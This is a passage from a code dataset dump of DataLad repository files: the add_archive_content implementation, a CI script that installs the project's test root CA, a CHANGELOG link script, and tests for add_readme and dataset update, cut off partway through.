'dataset' parameter instead.\\\"\\\"\\\"\\n ),\\n # TODO: Python only!\\n stats=Parameter(\\n doc=\\\"\\\"\\\"ActivityStats instance for global tracking\\\"\\\"\\\",\\n ),\\n key=Parameter(\\n args=(\\\"--key\\\",),\\n action=\\\"store_true\\\",\\n doc=\\\"\\\"\\\"signal if provided archive is not actually a filename on its\\n own but an annex key. The archive will be extracted in the current\\n directory.\\\"\\\"\\\"),\\n copy=Parameter(\\n args=(\\\"--copy\\\",),\\n action=\\\"store_true\\\",\\n doc=\\\"\\\"\\\"copy the content of the archive instead of moving\\\"\\\"\\\"),\\n allow_dirty=allow_dirty,\\n commit=Parameter(\\n args=(\\\"--no-commit\\\",),\\n action=\\\"store_false\\\",\\n dest=\\\"commit\\\",\\n doc=\\\"\\\"\\\"don't commit upon completion\\\"\\\"\\\"),\\n drop_after=Parameter(\\n args=(\\\"--drop-after\\\",),\\n action=\\\"store_true\\\",\\n doc=\\\"\\\"\\\"drop extracted files after adding to annex\\\"\\\"\\\",\\n ),\\n delete_after=Parameter(\\n args=(\\\"--delete-after\\\",),\\n action=\\\"store_true\\\",\\n doc=\\\"\\\"\\\"extract under a temporary directory, git-annex add, and\\n delete afterwards. To be used to \\\"index\\\" files within annex without\\n actually creating corresponding files under git. Note that\\n `annex dropunused` would later remove that load\\\"\\\"\\\"),\\n\\n # TODO: interaction with archives cache whenever we make it persistent across runs\\n archive=Parameter(\\n args=(\\\"archive\\\",),\\n doc=\\\"archive file or a key (if %s specified)\\\" % _KEY_OPT,\\n constraints=EnsureStr()),\\n )\\n\\n @staticmethod\\n @datasetmethod(name='add_archive_content')\\n @eval_results\\n def __call__(\\n archive,\\n *,\\n dataset=None,\\n annex=None,\\n add_archive_leading_dir=False,\\n strip_leading_dirs=False,\\n leading_dirs_depth=None,\\n leading_dirs_consider=None,\\n use_current_dir=False,\\n delete=False,\\n key=False,\\n exclude=None,\\n rename=None,\\n existing='fail',\\n annex_options=None,\\n copy=False,\\n commit=True,\\n allow_dirty=False,\\n stats=None,\\n drop_after=False,\\n delete_after=False):\\n\\n if exclude:\\n exclude = ensure_tuple_or_list(exclude)\\n if rename:\\n rename = ensure_tuple_or_list(rename)\\n ds = require_dataset(dataset,\\n check_installed=True,\\n purpose='add-archive-content')\\n\\n # set up common params for result records\\n res_kwargs = {\\n 'action': 'add-archive-content',\\n 'logger': lgr,\\n }\\n\\n if not isinstance(ds.repo, AnnexRepo):\\n yield get_status_dict(\\n ds=ds,\\n status='impossible',\\n message=\\\"Can't operate in a pure Git repository\\\",\\n **res_kwargs\\n )\\n return\\n if annex:\\n warnings.warn(\\n \\\"datalad add_archive_content's `annex` parameter is \\\"\\n \\\"deprecated and will be removed in a future release. \\\"\\n \\\"Use the 'dataset' parameter instead.\\\",\\n DeprecationWarning)\\n annex = ds.repo\\n # get the archive path relative from the ds root\\n archive_path = resolve_path(archive, ds=dataset)\\n # let Status decide whether we can act on the given file\\n for s in ds.status(\\n path=archive_path,\\n on_failure='ignore',\\n result_renderer='disabled'):\\n if s['status'] == 'error':\\n if 'path not underneath the reference dataset %s' in s['message']:\\n yield get_status_dict(\\n ds=ds,\\n status='impossible',\\n message='Can not add archive outside of the dataset',\\n **res_kwargs)\\n return\\n # status errored & we haven't anticipated the cause. Bubble up\\n yield s\\n return\\n elif s['state'] == 'untracked':\\n # we can't act on an untracked file\\n message = (\\n \\\"Can not add an untracked archive. \\\"\\n \\\"Run 'datalad save {}'\\\".format(archive)\\n )\\n yield get_status_dict(\\n ds=ds,\\n status='impossible',\\n message=message,\\n **res_kwargs)\\n return\\n\\n if not allow_dirty and annex.dirty:\\n # error out here if the dataset contains untracked changes\\n yield get_status_dict(\\n ds=ds,\\n status='impossible',\\n message=(\\n 'clean dataset required. '\\n 'Use `datalad status` to inspect unsaved changes'),\\n **res_kwargs\\n )\\n return\\n\\n # ensure the archive exists, status doesn't error on a non-existing file\\n if not key and not lexists(archive_path):\\n yield get_status_dict(\\n ds=ds,\\n status='impossible',\\n message=(\\n 'No such file: {}'.format(archive_path),\\n ),\\n **res_kwargs\\n )\\n return\\n\\n if not key:\\n check_path = archive_path.relative_to(ds.pathobj)\\n # TODO: support adding archives content from outside the annex/repo\\n origin = 'archive'\\n # can become get_file_annexinfo once #6104 is merged\\n key = annex.get_file_annexinfo(check_path)['key']\\n if not key:\\n raise RuntimeError(\\n f\\\"Archive must be an annexed file in {ds}\\\")\\n archive_dir = Path(archive_path).parent\\n else:\\n origin = 'key'\\n key = archive\\n # We must not have anything to do with the location under .git/annex\\n archive_dir = None\\n # instead, we will go from the current directory\\n use_current_dir = True\\n\\n archive_basename = file_basename(archive)\\n\\n if not key:\\n # if we didn't manage to get a key, the file must be in Git\\n raise NotImplementedError(\\n \\\"Provided file %s does not seem to be under annex control. \\\"\\n \\\"We don't support adding everything straight to Git\\\" % archive\\n )\\n\\n # figure out our location\\n pwd = getpwd()\\n # are we in a subdirectory of the repository?\\n pwd_in_root = annex.path == archive_dir\\n # then we should add content under that subdirectory,\\n # get the path relative to the repo top\\n if use_current_dir:\\n # extract the archive under the current directory, not the directory\\n # where the archive is located\\n extract_rpath = Path(pwd).relative_to(ds.path) \\\\\\n if not pwd_in_root \\\\\\n else None\\n else:\\n extract_rpath = archive_dir.relative_to(ds.path)\\n\\n # relpath might return '.' as the relative path to curdir, which then normalize_paths\\n # would take as instructions to really go from cwd, so we need to sanitize\\n if extract_rpath == curdir:\\n extract_rpath = None\\n\\n try:\\n key_rpath = annex.get_contentlocation(key)\\n except:\\n # the only probable reason for this to fail is that there is no\\n # content present\\n raise RuntimeError(\\n \\\"Content of %s seems to be N/A. Fetch it first\\\" % key\\n )\\n\\n # now we simply need to go through every file in that archive and\\n lgr.info(\\n \\\"Adding content of the archive %s into annex %s\\\", archive, annex\\n )\\n\\n from datalad.customremotes.archives import ArchiveAnnexCustomRemote\\n\\n # TODO: shouldn't we be able just to pass existing AnnexRepo instance?\\n # TODO: we will use persistent cache so we could just (ab)use possibly extracted archive\\n # OK, let's ignore that the following class is actually a special\\n # remote implementation, and use it only to work with its cache\\n annexarchive = ArchiveAnnexCustomRemote(annex=None,\\n path=annex.path,\\n persistent_cache=True)\\n # We will move extracted content so it must not exist prior running\\n annexarchive.cache.allow_existing = True\\n earchive = annexarchive.cache[key_rpath]\\n # make sure there is an enabled datalad-archives special remote\\n ensure_datalad_remote(ds.repo, remote=ARCHIVES_SPECIAL_REMOTE,\\n autoenable=True)\\n\\n precommitted = False\\n old_always_commit = annex.always_commit\\n # batch mode is disabled when faking dates, we want to always commit\\n annex.always_commit = annex.fake_dates_enabled\\n if annex_options:\\n if isinstance(annex_options, str):\\n annex_options = split_cmdline(annex_options)\\n delete_after_rpath = None\\n\\n prefix_dir = basename(tempfile.mkdtemp(prefix=\\\".datalad\\\",\\n dir=annex.path)) \\\\\\n if delete_after \\\\\\n else None\\n\\n # dedicated stats which would be added to passed in (if any)\\n outside_stats = stats\\n stats = ActivityStats()\\n\\n # start a progress bar for extraction\\n pbar_id = f'add-archive-{archive_path}'\\n try:\\n # keep track of extracted files for progress bar logging\\n file_counter = 0\\n # iterative over all files in the archive\\n extracted_files = list(earchive.get_extracted_files())\\n log_progress(\\n lgr.info, pbar_id, 'Extracting archive',\\n label=\\\"Extracting archive\\\",\\n unit=' Files',\\n total = len(extracted_files),\\n noninteractive_level = logging.INFO)\\n for extracted_file in extracted_files:\\n file_counter += 1\\n files_left = len(extracted_files) - file_counter\\n log_progress(\\n lgr.info, pbar_id,\\n \\\"Files to extract %i \\\", files_left,\\n update=1,\\n increment=True,\\n noninteractive_level=logging.DEBUG)\\n stats.files += 1\\n extracted_path = Path(earchive.path) / Path(extracted_file)\\n\\n if extracted_path.is_symlink():\\n link_path = str(extracted_path.resolve())\\n if not exists(link_path):\\n # TODO: config addarchive.symlink-broken='skip'\\n lgr.warning(\\n \\\"Path %s points to non-existing file %s\\\" %\\n (extracted_path, link_path)\\n )\\n stats.skipped += 1\\n continue\\n # TODO: check if points outside of archive - warn & skip\\n\\n url = annexarchive.get_file_url(\\n archive_key=key,\\n file=extracted_file,\\n size=os.stat(extracted_path).st_size)\\n\\n # preliminary target name which might get modified by renames\\n target_file_orig = target_file = Path(extracted_file)\\n\\n # stream archives would not have had the original filename\\n # information in them, so would be extracted under a name\\n # derived from their annex key.\\n # Provide ad-hoc handling for such cases\\n if (len(extracted_files) == 1 and\\n Path(archive).suffix in ('.xz', '.gz', '.lzma') and\\n Path(key_rpath).name.startswith(Path(\\n extracted_file).name)):\\n # take archive's name without extension for filename & place\\n # where it was originally extracted\\n target_file = \\\\\\n Path(extracted_file).parent / Path(archive).stem\\n\\n if strip_leading_dirs:\\n leading_dir = earchive.get_leading_directory(\\n depth=leading_dirs_depth, exclude=exclude,\\n consider=leading_dirs_consider)\\n leading_dir_len = \\\\\\n len(leading_dir) + len(opsep) if leading_dir else 0\\n target_file = str(target_file)[leading_dir_len:]\\n\\n if add_archive_leading_dir:\\n # place extracted content under a directory corresponding to\\n # the archive name with suffix stripped.\\n target_file = Path(archive_basename) / target_file\\n\\n if rename:\\n target_file = apply_replacement_rules(rename,\\n str(target_file))\\n\\n # continue to next iteration if extracted_file in excluded\\n if exclude:\\n try: # since we need to skip outside loop from inside loop\\n for regexp in exclude:\\n if re.search(regexp, extracted_file):\\n lgr.debug(\\n \\\"Skipping %s since contains %s pattern\\\",\\n extracted_file, regexp)\\n stats.skipped += 1\\n raise StopIteration\\n except StopIteration:\\n continue\\n\\n if delete_after:\\n # place target file in a temporary directory\\n target_file = Path(prefix_dir) / Path(target_file)\\n # but also allow for it in the orig\\n target_file_orig = Path(prefix_dir) / Path(target_file_orig)\\n\\n target_file_path_orig = annex.pathobj / target_file_orig\\n\\n # If we were invoked in a subdirectory, patch together the\\n # correct path\\n target_file_path = extract_rpath / target_file \\\\\\n if extract_rpath else target_file\\n target_file_path = annex.pathobj / target_file_path\\n\\n # when the file already exists...\\n if lexists(target_file_path):\\n handle_existing = True\\n if md5sum(str(target_file_path)) == \\\\\\n md5sum(str(extracted_path)):\\n if not annex.is_under_annex(str(extracted_path)):\\n # if under annex -- must be having the same content,\\n # we should just add possibly a new extra URL\\n # but if under git -- we cannot/should not do\\n # anything about it ATM\\n if existing != 'overwrite':\\n continue\\n else:\\n handle_existing = False\\n if not handle_existing:\\n pass # nothing... just to avoid additional indentation\\n elif existing == 'fail':\\n message = \\\\\\n \\\"{} exists, but would be overwritten by new file \\\" \\\\\\n \\\"{}. Consider adjusting --existing\\\".format\\\\\\n (target_file_path, extracted_file)\\n yield get_status_dict(\\n ds=ds,\\n status='error',\\n message=message,\\n **res_kwargs)\\n return\\n elif existing == 'overwrite':\\n stats.overwritten += 1\\n # to make sure it doesn't conflict -- might have been a\\n # tree\\n rmtree(target_file_path)\\n else:\\n # an elaborate dance to piece together new archive names\\n target_file_path_orig_ = target_file_path\\n\\n # To keep extension intact -- operate on the base of the\\n # filename\\n p, fn = os.path.split(target_file_path)\\n ends_with_dot = fn.endswith('.')\\n fn_base, fn_ext = file_basename(fn, return_ext=True)\\n\\n if existing == 'archive-suffix':\\n fn_base += '-%s' % archive_basename\\n elif existing == 'numeric-suffix':\\n pass # archive-suffix will have the same logic\\n else:\\n # we shouldn't get here, argparse should catch a\\n # non-existing value for --existing right away\\n raise ValueError(existing)\\n # keep incrementing index in the suffix until file\\n # doesn't collide\\n suf, i = '', 0\\n while True:\\n connector = \\\\\\n ('.' if (fn_ext or ends_with_dot) else '')\\n file = fn_base + suf + connector + fn_ext\\n target_file_path_new = \\\\\\n Path(p) / Path(file)\\n if not lexists(target_file_path_new):\\n # we found a file name that is not yet taken\\n break\\n lgr.debug(\\\"Iteration %i of file name finding. \\\"\\n \\\"File %s already exists\\\", i,\\n target_file_path_new)\\n i += 1\\n suf = '.%d' % i\\n target_file_path = target_file_path_new\\n lgr.debug(\\\"Original file %s will be saved into %s\\\"\\n % (target_file_path_orig_, target_file_path))\\n # TODO: should we reserve smth like\\n # stats.clobbed += 1\\n\\n if target_file_path != target_file_path_orig:\\n stats.renamed += 1\\n\\n if copy:\\n raise NotImplementedError(\\n \\\"Not yet copying from 'persistent' cache\\\"\\n )\\n\\n lgr.debug(\\\"Adding %s to annex pointing to %s and with options \\\"\\n \\\"%r\\\", target_file_path, url, annex_options)\\n\\n out_json = annex.add_url_to_file(\\n target_file_path,\\n url, options=annex_options,\\n batch=True)\\n\\n if 'key' in out_json and out_json['key'] is not None:\\n # annex.is_under_annex(target_file, batch=True):\\n # due to http://git-annex.branchable.com/bugs/annex_drop_is_not___34__in_effect__34___for_load_which_was___34__addurl_--batch__34__ed_but_not_yet_committed/?updated\\n # we need to maintain a list of those to be dropped files\\n if drop_after:\\n # drop extracted files after adding to annex\\n annex.drop_key(out_json['key'], batch=True)\\n stats.dropped += 1\\n stats.add_annex += 1\\n else:\\n lgr.debug(\\\"File %s was added to git, not adding url\\\",\\n target_file_path)\\n stats.add_git += 1\\n\\n if delete_after:\\n # we count the removal here, but don't yet perform it\\n # to not interfere with batched processes - any pure Git\\n # action invokes precommit which closes batched processes.\\n stats.removed += 1\\n\\n # Done with target_file -- just to have clear end of the loop\\n del target_file\\n\\n if delete and archive and origin != 'key':\\n lgr.debug(\\\"Removing the original archive %s\\\", archive)\\n # force=True since some times might still be staged and fail\\n annex.remove(str(archive_path), force=True)\\n\\n lgr.info(\\\"Finished adding %s: %s\\\", archive, stats.as_str(mode='line'))\\n\\n if outside_stats:\\n outside_stats += stats\\n if delete_after:\\n # force since not committed. r=True for -r (passed into git call\\n # to recurse)\\n delete_after_rpath = opj(extract_rpath, prefix_dir) \\\\\\n if extract_rpath else prefix_dir\\n delete_after_rpath = resolve_path(delete_after_rpath,\\n ds=dataset)\\n lgr.debug(\\n \\\"Removing extracted and annexed files under %s\\\",\\n delete_after_rpath\\n )\\n annex.remove(str(delete_after_rpath), r=True, force=True)\\n if commit:\\n archive_rpath = archive_path.relative_to(ds.path)\\n commit_stats = outside_stats if outside_stats else stats\\n # so batched ones close and files become annex symlinks etc\\n annex.precommit()\\n precommitted = True\\n if any(r.get('state', None) != 'clean'\\n for p, r in annex.status(untracked='no').items()):\\n annex.commit(\\n \\\"Added content extracted from %s %s\\\\n\\\\n%s\\\" %\\n (origin, archive_rpath,\\n commit_stats.as_str(mode='full')),\\n _datalad_msg=True\\n )\\n commit_stats.reset()\\n else:\\n # don't commit upon completion\\n pass\\n finally:\\n # take down the progress bar\\n log_progress(\\n lgr.info, pbar_id,\\n 'Finished extraction',\\n noninteractive_level=logging.INFO)\\n # since we batched addurl, we should close those batched processes\\n # if haven't done yet. explicitly checked to avoid any possible\\n # \\\"double-action\\\"\\n if not precommitted:\\n annex.precommit()\\n\\n if delete_after_rpath:\\n delete_after_path = opj(annex.path, delete_after_rpath)\\n delete_after_rpath = resolve_path(delete_after_rpath,\\n ds=dataset)\\n if exists(delete_after_path): # should not be there\\n # but for paranoid yoh\\n lgr.warning(\\n \\\"Removing temporary directory under which extracted \\\"\\n \\\"files were annexed and should have been removed: %s\\\",\\n delete_after_path)\\n rmtree(delete_after_path)\\n\\n annex.always_commit = old_always_commit\\n # remove what is left and/or everything upon failure\\n earchive.clean(force=True)\\n # remove tempfile directories (not cleaned up automatically):\\n if prefix_dir is not None and lexists(prefix_dir):\\n os.rmdir(prefix_dir)\\n yield get_status_dict(\\n ds=ds,\\n status='ok',\\n **res_kwargs)\\n return annex\\n\"\n },\n {\n \"alpha_fraction\": 0.7625698447227478,\n \"alphanum_fraction\": 0.7625698447227478,\n \"avg_line_length\": 38.77777862548828,\n \"blob_id\": \"724b67f6df2b0026db74a40e884506341e48a954\",\n \"content_id\": \"4b55d2fa694b3a9da0a4673172950e2fa921e7f1\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 358,\n \"license_type\": \"permissive\",\n \"max_line_length\": 90,\n \"num_lines\": 9,\n \"path\": \"/tools/ci/deploy_datalad-rootca\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/bin/bash\\n# deploy the root CA that comes with the sources in order to be able to test\\n# against the internal HTTPS server without fiddling\\n\\nif hash update-ca-certificates; then\\n sudo mkdir -p /usr/local/share/ca-certificates/\\n sudo cp datalad/tests/ca/ca-root.pem /usr/local/share/ca-certificates/datalad-root.crt\\n sudo update-ca-certificates\\nfi\\n\"\n },\n {\n \"alpha_fraction\": 0.5781659483909607,\n \"alphanum_fraction\": 0.5882096290588379,\n \"avg_line_length\": 24.44444465637207,\n \"blob_id\": \"95e9e2af2c10bfc5eee62f89e14e86511a795303\",\n \"content_id\": \"c40d77cc7844ffdb5caa3067898fcc7178ee2b5f\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\",\n \"LicenseRef-scancode-unknown-license-reference\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2290,\n \"license_type\": \"permissive\",\n \"max_line_length\": 137,\n \"num_lines\": 90,\n \"path\": \"/datalad/local/tests/test_add_readme.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python-mode; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# -*- coding: utf-8 -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Test add_readme\\\"\\\"\\\"\\n\\n\\nfrom os.path import join as opj\\n\\nfrom datalad.distribution.dataset import Dataset\\nfrom datalad.tests.utils_pytest import (\\n assert_in,\\n assert_repo_status,\\n assert_status,\\n known_failure_githubci_win,\\n ok_startswith,\\n with_tree,\\n)\\n\\n_ds_template = {\\n '.datalad': {\\n 'config': '''\\\\\\n[datalad \\\"metadata\\\"]\\n nativetype = frictionless_datapackage\\n'''},\\n 'datapackage.json': '''\\\\\\n{\\n \\\"title\\\": \\\"demo_ds\\\",\\n \\\"description\\\": \\\"this is for play\\\",\\n \\\"license\\\": \\\"PDDL\\\",\\n \\\"author\\\": [\\n \\\"Betty\\\",\\n \\\"Tom\\\"\\n ]\\n}\\n'''}\\n\\n\\n@known_failure_githubci_win # fails since upgrade to 8.20200226-g2d3ef2c07\\n@with_tree(_ds_template)\\ndef test_add_readme(path=None):\\n ds = Dataset(path).create(force=True)\\n ds.save()\\n if False:\\n # TODO make conditional on the presence of datalad-deprecated\\n ds.aggregate_metadata()\\n assert_repo_status(ds.path)\\n assert_status('ok', ds.add_readme())\\n # should use default name\\n content = open(opj(path, 'README.md')).read()\\n if False:\\n # TODO make conditional on the presence of datalad-deprecated\\n ok_startswith(\\n content,\\n \\\"\\\"\\\"\\\\\\n# Dataset \\\"demo_ds\\\"\\n\\nthis is for play\\n\\n### Authors\\n\\n- Betty\\n- Tom\\n\\n### License\\n\\nPDDL\\n\\n## General information\\n\\nThis is a DataLad dataset (id: {id}).\\n\\\"\\\"\\\".format(\\n id=ds.id))\\n # make sure that central README references are present\\n assert_in(\\n \\\"\\\"\\\"More information on how to install DataLad and [how to install](http://handbook.datalad.org/en/latest/intro/installation.html)\\nit can be found in the [DataLad Handbook](https://handbook.datalad.org/en/latest/index.html).\\n\\\"\\\"\\\",\\n content\\n )\\n # no unexpectedly long lines\\n assert all([len(l) < 160 for l in content.splitlines()])\\n\\n # should skip on re-run\\n assert_status('notneeded', ds.add_readme())\\n\"\n },\n {\n \"alpha_fraction\": 0.5033556818962097,\n \"alphanum_fraction\": 0.5167785286903381,\n \"avg_line_length\": 28.799999237060547,\n \"blob_id\": \"6187d925094901b60f42dda5ed80582933f6f29b\",\n \"content_id\": \"1cbf72de9c19b20eade75e62c16829658d0e72a5\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 447,\n \"license_type\": \"permissive\",\n \"max_line_length\": 101,\n \"num_lines\": 15,\n \"path\": \"/tools/link_issues_CHANGELOG\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/bin/bash\\n\\nin=CHANGELOG.md\\n\\n# Replace them with Markdown references\\nsed -i -e 's/(\\\\(#[0-9]\\\\+\\\\))/([\\\\1][])/g' \\\"$in\\\"\\n\\n# Populate references\\ntr ' ,' '\\\\n\\\\n' < \\\"$in\\\" | sponge | sed -n -e 's/.*(\\\\[#\\\\([0-9]\\\\+\\\\)\\\\]\\\\(\\\\[\\\\]*\\\\)).*/\\\\1/gp' | sort | uniq \\\\\\n| while read issue; do\\n #echo \\\"issue $issue\\\"\\n # remove old one if exists\\n sed -i -e \\\"/^\\\\[#$issue\\\\]:.*/d\\\" \\\"$in\\\"\\n echo \\\"[#$issue]: https://github.com/datalad/datalad/issues/$issue\\\" >> \\\"$in\\\";\\ndone\\n\"\n },\n {\n \"alpha_fraction\": 0.627322256565094,\n \"alphanum_fraction\": 0.6347535848617554,\n \"avg_line_length\": 39.05793380737305,\n \"blob_id\": \"dff79d65236a05580205ad333f6a06f5592fed6e\",\n \"content_id\": \"befcd40778ce8241e17d1fdd663d140ac43a7601\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 44945,\n \"license_type\": \"permissive\",\n \"max_line_length\": 96,\n \"num_lines\": 1122,\n \"path\": \"/datalad/distribution/tests/test_update.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Test update action\\n\\n\\\"\\\"\\\"\\n\\nimport os\\nimport os.path as op\\nfrom os.path import exists\\nfrom os.path import join as opj\\nfrom unittest.mock import patch\\n\\nimport pytest\\n\\nfrom datalad import cfg as dl_cfg\\nfrom datalad.api import (\\n clone,\\n install,\\n remove,\\n update,\\n)\\nfrom datalad.distribution.update import _process_how_args\\nfrom datalad.support.annexrepo import AnnexRepo\\nfrom datalad.support.external_versions import external_versions\\nfrom datalad.support.gitrepo import GitRepo\\nfrom datalad.tests.utils_pytest import (\\n DEFAULT_BRANCH,\\n DEFAULT_REMOTE,\\n SkipTest,\\n assert_false,\\n assert_in,\\n assert_in_results,\\n assert_is_instance,\\n assert_not_in,\\n assert_raises,\\n assert_repo_status,\\n assert_result_count,\\n assert_status,\\n create_tree,\\n eq_,\\n known_failure_windows,\\n maybe_adjust_repo,\\n neq_,\\n ok_,\\n ok_file_has_content,\\n skip_if_adjusted_branch,\\n slow,\\n with_tempfile,\\n)\\nfrom datalad.utils import (\\n Path,\\n chpwd,\\n knows_annex,\\n rmtree,\\n)\\n\\nfrom ..dataset import Dataset\\n\\n\\n@slow\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\ndef test_update_simple(origin=None, src_path=None, dst_path=None):\\n ca = dict(result_renderer='disabled')\\n # a remote dataset with a subdataset underneath\\n origds = Dataset(origin).create(**ca)\\n # naming is weird, but a legacy artifact\\n _ = origds.create('subm 1', **ca)\\n _ = origds.create('2', **ca)\\n\\n # prepare src\\n source = install(src_path, source=origin, recursive=True)\\n # forget we cloned it by removing remote, which should lead to\\n # setting tracking branch to target:\\n source.repo.remove_remote(DEFAULT_REMOTE)\\n # also forget the declared absolute location of the submodules, and turn them\\n # relative to this/a clone\\n for sub in source.subdatasets(result_xfm=lambda x: x['gitmodule_name']):\\n source.subdatasets(path=sub, set_property=[('url', './{}'.format(sub))])\\n\\n # dataset without sibling will not need updates\\n assert_status('notneeded', source.update())\\n # deprecation message doesn't ruin things\\n assert_status('notneeded', source.update(fetch_all=True))\\n # but error if unknown sibling is given\\n assert_status('impossible', source.update(sibling='funky', on_failure='ignore'))\\n\\n # get a clone to update later on:\\n dest = install(dst_path, source=src_path, recursive=True)\\n # test setup done;\\n # assert all fine\\n assert_repo_status(dst_path)\\n assert_repo_status(src_path)\\n\\n # update yields nothing => up-to-date\\n assert_status('ok', dest.update())\\n assert_repo_status(dst_path)\\n\\n # modify remote:\\n with open(opj(src_path, \\\"update.txt\\\"), \\\"w\\\") as f:\\n f.write(\\\"Additional content\\\")\\n source.save(path=\\\"update.txt\\\", message=\\\"Added update.txt\\\")\\n assert_repo_status(src_path)\\n\\n # update without `merge` only fetches:\\n assert_status('ok', dest.update())\\n # modification is not known to active branch:\\n assert_not_in(\\\"update.txt\\\",\\n dest.repo.get_files(dest.repo.get_active_branch()))\\n # modification is known to branch <default remote>/<default branch>\\n assert_in(\\\"update.txt\\\",\\n dest.repo.get_files(DEFAULT_REMOTE + \\\"/\\\" + DEFAULT_BRANCH))\\n\\n # merge:\\n assert_status('ok', dest.update(merge=True))\\n # modification is now known to active branch:\\n assert_in(\\\"update.txt\\\",\\n dest.repo.get_files(dest.repo.get_active_branch()))\\n # it's known to annex, but has no content yet:\\n annexprops = dest.repo.get_file_annexinfo(\\\"update.txt\\\",\\n eval_availability=True)\\n annexprops['key'] # blows if unknown\\n eq_(False, annexprops['has_content'])\\n\\n # check subdataset path constraints, baseline (parent + 2 subds)\\n assert_result_count(dest.update(recursive=True),\\n 3, status='ok', type='dataset')\\n # no recursion and invalid path still updates the parent\\n res = dest.update(path='whatever')\\n assert_result_count(res, 1, status='ok', type='dataset')\\n assert_result_count(res, 1, status='ok', path=dest.path)\\n # invalid path with recursion also does\\n res = dest.update(recursive=True, path='whatever')\\n assert_result_count(res, 1, status='ok', type='dataset')\\n assert_result_count(res, 1, status='ok', path=dest.path)\\n # valid path and no recursion only updates the parent\\n res = dest.update(path='subm 1')\\n assert_result_count(res, 1, status='ok', type='dataset')\\n assert_result_count(res, 1, status='ok', path=dest.path)\\n # valid path and recursion updates matching\\n res = dest.update(recursive=True, path='subm 1')\\n assert_result_count(res, 2, status='ok', type='dataset')\\n assert_result_count(res, 1, status='ok', path=dest.path)\\n assert_result_count(res, 1, status='ok', path=str(dest.pathobj / 'subm 1'))\\n # additional invalid path doesn't hurt\\n res = dest.update(recursive=True, path=['subm 1', 'mike'])\\n assert_result_count(res, 2, status='ok', type='dataset')\\n # full match\\n res = dest.update(recursive=True, path=['subm 1', '2'])\\n assert_result_count(res, 3, status='ok', type='dataset')\\n\\n # test that update doesn't crash if we specify only a single path (submod) to\\n # operate on\\n with chpwd(dest.path):\\n # in 0.11.x it would be a single result since \\\"pwd\\\" dataset is not\\n # considered, and would be relative path (as specified).\\n # In 0.12.0 - it would include implicit pwd dataset, and paths would be absolute\\n res_update = update(path=['subm 1'], recursive=True)\\n assert_result_count(res_update, 2)\\n for p in dest.path, str(dest.pathobj / 'subm 1'):\\n assert_in_results(res_update, path=p, action='update', status='ok', type='dataset')\\n\\n # and with merge we would also try to save (but there would be no changes)\\n res_merge = update(path=['subm 1'], recursive=True, merge=True)\\n assert_result_count(res_merge, 2, action='update')\\n # 2 of \\\"updates\\\" really.\\n assert_in_results(res_merge, action='update', status='ok', type='dataset')\\n assert_in_results(res_merge, action='save', status='notneeded', type='dataset')\\n\\n # smoke-test if recursive update doesn't fail if submodule is removed\\n # and that we can run it from within a dataset without providing it\\n # explicitly\\n assert_result_count(\\n dest.remove('subm 1'), 1,\\n status='ok', action='remove', path=opj(dest.path, 'subm 1'))\\n with chpwd(dest.path):\\n assert_result_count(\\n update(recursive=True), 2,\\n status='ok', type='dataset')\\n assert_result_count(\\n dest.update(merge=True, recursive=True), 2,\\n action='update', status='ok', type='dataset')\\n\\n # and now test recursive update with merging in differences\\n create_tree(opj(source.path, '2'), {'load.dat': 'heavy'})\\n source.save(opj('2', 'load.dat'),\\n message=\\\"saving changes within subm2\\\",\\n recursive=True)\\n assert_result_count(\\n dest.update(merge=True, recursive=True), 2,\\n action='update', status='ok', type='dataset')\\n # and now we can get new file\\n dest.get(opj('2', 'load.dat'))\\n ok_file_has_content(opj(dest.path, '2', 'load.dat'), 'heavy')\\n\\n\\n@with_tempfile\\n@with_tempfile\\ndef test_update_git_smoke(src_path=None, dst_path=None):\\n # Apparently was just failing on git repos for basic lack of coverage, hence this quick test\\n ds = Dataset(src_path).create(annex=False)\\n target = install(\\n dst_path, source=src_path,\\n result_xfm='datasets', return_type='item-or-list')\\n create_tree(ds.path, {'file.dat': '123'})\\n ds.save('file.dat')\\n assert_result_count(\\n target.update(recursive=True, merge=True), 1,\\n action='update', status='ok', type='dataset')\\n ok_file_has_content(opj(target.path, 'file.dat'), '123')\\n\\n\\n@slow # ~9s\\n@with_tempfile(mkdir=True)\\ndef test_update_fetch_all(path=None):\\n path = Path(path)\\n remote_1 = str(path / \\\"remote_1\\\")\\n remote_2 = str(path / \\\"remote_2\\\")\\n\\n ds = Dataset(path / \\\"src\\\").create()\\n src = ds.repo.path\\n\\n ds_rmt1 = clone(source=src, path=remote_1)\\n ds_rmt2 = clone(source=src, path=remote_2)\\n\\n ds.siblings('add', name=\\\"sibling_1\\\", url=remote_1)\\n ds.siblings('add', name=\\\"sibling_2\\\", 